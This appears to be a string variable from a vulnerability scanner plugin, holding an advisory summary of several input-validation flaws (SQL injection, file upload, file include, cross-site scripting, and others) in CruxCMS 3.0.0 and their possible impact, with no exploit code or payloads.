tag_summary = "CruxCMS is prone to multiple input-validation vulnerabilities,
including multiple security-bypass issues, multiple arbitrary-file-
upload issues, multiple SQL-injection issues, a local file-include
issue, a cross-site-scripting issue and multiple information-
disclosure issues. These issues occur because the application fails to
properly sanitize user-supplied input.

Exploiting these issues may allow an unauthorized user to view files
and execute local scripts, execute arbitrary script code, bypass
certain security restrictions, access or modify data, exploit latent
vulnerabilities in the underlying database, gain administrative
access, steal cookie-based authentication credentials, and launch
other attacks.

CruxCMS 3.0.0 is vulnerable; other versions may also be affected.";
